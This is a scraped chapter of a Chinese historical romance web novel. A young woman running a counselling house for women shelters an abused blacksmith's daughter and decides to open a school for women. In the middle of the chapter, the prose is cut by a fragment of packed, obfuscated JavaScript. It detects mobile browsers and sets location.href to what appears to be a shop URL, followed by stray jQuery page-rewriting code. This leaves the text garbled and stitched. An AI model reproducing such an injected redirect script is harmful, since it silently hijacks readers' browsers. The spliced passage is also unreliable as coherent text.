默认冷灰
24号文字
方正启体

3. 第三回

作者:熊猫一二本书字数:K更新时间:
    片刻后,杨雨露将人迎了进来。


    来人名唤林婉如,前几日来过一次。


    她是礼部侍郎林正清的长女,今年二十有六,尚未许配良人。


    在这个朝代,二十六岁未嫁,便是人人嘲笑的老姑娘,寻亲事时,亦是非常艰难。


    林婉如刚一进门,便瞧见苏云鹤主仆,脚步不由得一顿,面上掠过一丝迟疑。


    韩诗情上前温声介绍:“林姑娘勿惊,这位是苏云鹤苏公子,这是他的书童。前些日子在街头救下宁安郡主的,便是苏公子。”


    闻言想起近日的传闻,林婉如神色缓和下来,朝苏云鹤施了一礼:“原来是仗义相助的苏公子,小女子林婉如,有礼了。”


    苏云鹤拱手还礼:“林姑娘客气。”又转向韩诗情,微微一颔首:“今日已叨扰姑娘多时,既有客至,在下便先告辞。方才所提之事,还望姑娘斟酌。”


    韩诗情亦颔首:“公子厚意,诗情心领,自会慎重考虑。”


    苏云鹤不再多言,带着书童转身要走。行至门边,却被林婉如轻声唤住。


    林婉如看了看他,又望向韩诗情,终是试探着问道:“韩姑娘,这次到访,我所烦心的仍是那婚嫁之事。这事儿上,男女心思多有不同,苏公子侠名在外,婉如甚是钦佩……既然有幸偶遇,可否容我……向公子请教一句?”


    苏云鹤与韩诗情交换了一个眼神,见韩诗情没有反对,便让苏影先退下,方才对林婉如道:“姑娘请讲。”


    林婉如张了张嘴,复又闭上,犹豫了好一会儿,才问道:“冒昧请教,在男子看来,女子年岁稍长些,当真就做不得贤妻么?”


    说到此,她指尖微微蜷起,声音压得更低:“寻常男子,会倾心于何样的女子?”


    苏云鹤未想到她会提出此问,一时不知如何作答,却下意识望向了韩诗情。


    恰在此时,韩诗情也鬼使神差地望向他。


    两人目光相接,又默契地各自移开,仿若微风拂过水面,只余下淡淡的涟漪。


    默然良久,苏云鹤才缓缓道:“林姑娘这一问,苏某实不知如何作答。”


    林婉如以为自己冒犯了他,心中理解,只抱歉道:“是婉如唐突了,公子不需为难。”


    “并非觉得唐突,”苏云鹤知她有所误会,解释道:只是我尚未遇到倾心的女子,待有一日遇到了,才能回答你。至于年岁几何,是最不要紧的事。”


    这话说的恳切真诚,林婉如听在耳中,心底百味杂陈,她深吸一口气,感叹道:“公子这番见解,令婉如受益颇丰。”


    三人又闲谈了许久,林婉如离去时,步履比来时轻快了几分。


    待她走后,苏云鹤缓步行至窗边,望着窗外不知何时落下的细雨,轻叹道:“林正清大人最重礼法规矩,林姑娘至今未嫁,在家中过的日子,想来颇为不易。”


    韩诗情正收拾着方才用过的茶盏,闻言动作一顿。她望向苏云鹤修长的背影,声音平缓,却似含了深意:“公子出身书香门第之家,倒是对朝堂官员颇为了解。”


    苏云鹤眸色一沉,转过身,轻笑道:“家中伯父经营茶丝生意,南北商号往来频繁,总能听来些闲话。”


    “是吗……”韩诗情将最后一只茶盏轻放入托盘,正想再说些什么,却见苏云鹤神色骤然一凝,沉声道:“有人。”


    话音未落,他身影已动,如一阵疾风掠过院中,转眼便出了院门。


    紧接着,院外传来他略带担忧的询问:“姑娘,可是遇到了歹人?”


    韩诗情与杨雨露对视一眼,当即快步向外赶去。


    只见门口立着一个女子,脸上、颈上布满深浅不一的淤青,双眼红肿,泪水涟涟,样子甚是凄楚。


    “发生什么事了?”韩诗情快步上前,轻声问道。


    那女子瑟缩了一下,嘴唇翕动了许久,才哽咽着低声道:“没……没遇到歹人。这些伤,是我爹……我爹打的……”


    三人闻言,俱是心头一震。


    那女子抬手拭去泪痕,低声啜泣道:“我每日过得……实在太苦了。听闻你们这里能替女子分忧解愁,便想来说说话。可是……”她声音渐弱,几乎听不清,“我错过了你们免费待客的时辰……身上,又连一个铜板也拿不出。”


    原来,这便是她在门外徘徊良久,终又黯然离去的原因。


    “无妨,先进来吧。”韩诗情心下恻然,温言安抚。


    四人一同回到厅内,杨雨露奉上热茶。


    韩诗情在一旁悄然留意着:女子眉间藏着几分惶然,目光不时飘向门外,指尖紧紧攥着袖口,像是担忧有人会随时寻来。


    或许有个男子留在身旁,反倒能予人几分心安。既然对方并未表现出抗拒,韩诗情便与苏云鹤相视一望,示意其留在厅中。


    女子捧着茶碗,指尖仍在轻颤,待情绪稍定些,才缓缓道出始末。


    她名唤赵敏兰,是西街赵铁匠家女儿。


    “我爹他,平日里对我,其实是好的。衣食上面从无短缺,只是,从不给我银钱,将我圈在家中,哪里都不许去。”说到这,她眼中浮起复杂的神色,“更可怕的是,他只要一沾酒,就像变了个人,对我非打即骂……近些日子,他喝得越来越多,下手也越来越重……”


    韩诗情听在耳中,看着那满身的伤痕,心里既疼惜,又愤怒。


    说到悲痛之处,赵敏兰又胡乱抹了抹脸上的泪水:“他方才应了一桩急活,一时顾不上我,我才偷跑出来,想向你求个主意。城东的薛老爷看上我,要纳我做第七房妾室。虽然他年纪比我爹还大些,可跟了他,总好过有一日被我爹打死。”她声音里带着颤抖,“姑娘,你帮我想想……我,我该怎么选?”


    韩诗情静静地望着她,摇了摇头:“这两条都是绝路,为何一定要从绝路里选择?你或许可以试着……不依附他们,走一条自己的路。”


    “自己的路?”赵敏兰眼中先是掠过一丝惊讶,随即化为更深的绝望,“我……我什么手艺也不会……不依附父兄夫婿,怕是只能卖身到大户人家为婢,或者……以自己换些银钱。”


    “那自是更加不可。”韩诗情立即否认了她这个想法,柔声安慰,“天无绝人之路,总会有别的法子。“


    可是,能有什么法子呢?


    韩诗情又柔声安抚了几句,待赵敏兰平静下来,她低声与苏云鹤、杨雨露商议片刻,最终决定,将人暂且安置在后院厢房里。


    杨雨露带着赵敏兰出了前厅,韩诗情立于窗下,望着檐角滴落的雨水,久久不语。


    苏云鹤悄声走近,并未出声打扰。


    良久,韩诗情转身,眼中一片清明,似是做出了重要的决定。


    “公子。”她开口,声音清晰,“你先前所提的,留在解忧阁一事,我应下了。”


    苏云鹤颇感意外:“姑娘方才似乎……”


    “方才确有犹豫,现下,确定了。”韩诗情坦然道,“阁中所来皆是女子,心事各异,有些的确不便男子听闻。但亦有些烦恼,若能得公子这般知礼守份、见解通透的男子提供些许不同视角,反而是益事。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202169|197237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >按照现代的话来说,这便是换位思考,也可说是现身说法。


    她顿了顿,续道:“除此之外,通过赵姑娘这事,我另有一想法。单凭倾听与劝解,虽能解人烦忧,却难改许多女子依附他人、身不由己的根本。我欲用公子资助之银钱,开办一处女子学堂。”


    苏云鹤眸光一动:“女子学堂?”


    “正是。”韩诗情颔首,“教些实用的手艺,让一些有自立之心,却苦无门路的女子,学得一技之长,将来或可凭此安身立命,不必将余生幸福全系于父兄夫婿之手。”


    苏云鹤望着她,眼中似有波澜渐起。他未曾料到,这温婉柔弱的外表下,竟藏着如此破旧立新的魄力与远见。


    “韩姑娘所想,令我钦佩不已。”他缓缓开口,声音里带着一种近乎郑重的欣赏,“我定竭尽全力,助你完成心愿。”


    韩诗情轻点头,微笑道:“稍后我让雨霜收拾两间厢房,为免不便,请二位没什么事时就在内院走动。平日里我会征得客人们同意,再拣些能说的事例与你探讨。倘若有客人愿意与你见面叙话,你便可到前厅待客。”


    苏云鹤欣然接受,拱手道:“但凭安排。”


    韩诗情颔首轻应。


    如此,苏云鹤主仆便留在了解忧阁。他谨守与韩诗情的约定,绝不私自踏入前厅,苏影沉默寡言,只埋首做些杂事。两人均不曾有任何逾越之举。


    这期间,韩诗情与苏云鹤细细商议,果真在解忧阁后院辟出一间小屋,开了女子学堂。


    赵敏兰是学堂中的第一个学子,平时也在学堂打杂帮忙,以抵学钱。


    赵父来闹过几回,起初赵敏兰还愿见他,与他恳谈自己的决定,待他闹得越发厉害,苏影便不让他进门了。他气急,一纸诉状递进了府衙中,状告解忧阁拐带良家。


    韩诗情自不惧他,托人请了状师,耐心打点应对。岂料未过几日,府衙差人来信,说他自行撤了诉状,不再追究。此事就此了结,再无后文。


    众人虽觉得蹊跷,却也乐见其成。


    如今的赵敏兰,日子过的虽简,眉间那股惊惶,却一日日淡了下去。


    又一日午后,韩诗情正与苏云鹤核算着学堂所需的物料,门外响起荀素雪清脆带笑的声音:“韩姑娘韩姑娘!你看我带了谁来!”


    话音未落,便见荀素雪搀着一位年约三十的妇人进门,那妇人衣着华贵,气度非凡。


    “郡主。”韩诗情与苏云鹤起身相迎,目光自然地掠过那位陌生妇人,韩诗情问,“这位夫人是?”


    荀素雪亲热地揽住韩诗情的手臂:“这位是我的姨母,永昌侯夫人。姨母近来心中有些烦闷,我便想起你这里,带她过来坐坐。”她说完又转向苏云鹤,“苏公子也在,有礼了。”


    苏云鹤回以微笑,和韩诗情一同向永昌侯夫人沈氏行礼。


    沈氏见二人均是容色倾城,举止得体,心中颇为喜欢,可当多看了苏云鹤几眼后,她眼底掠过一丝审视。


    “苏公子看着面善。”她迟疑片刻,“我们是否在哪里见过?”


    苏云鹤微微一笑,礼貌道:“晚辈常年在外,近日方回京城,应当无缘得见夫人。人有相似,夫人许是认错了。”


    “或许吧……”听对方如此说,沈氏也未再多言,在荀素雪的搀扶下于上首坐了。


    然而,将这番对答尽数听去的韩诗情,心底却悄然浮起一缕疑云。


    永昌侯府的夫人觉得他面善,他又能随口道出礼部侍郎的性情……


    这沈夫人……当真是认错人了吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)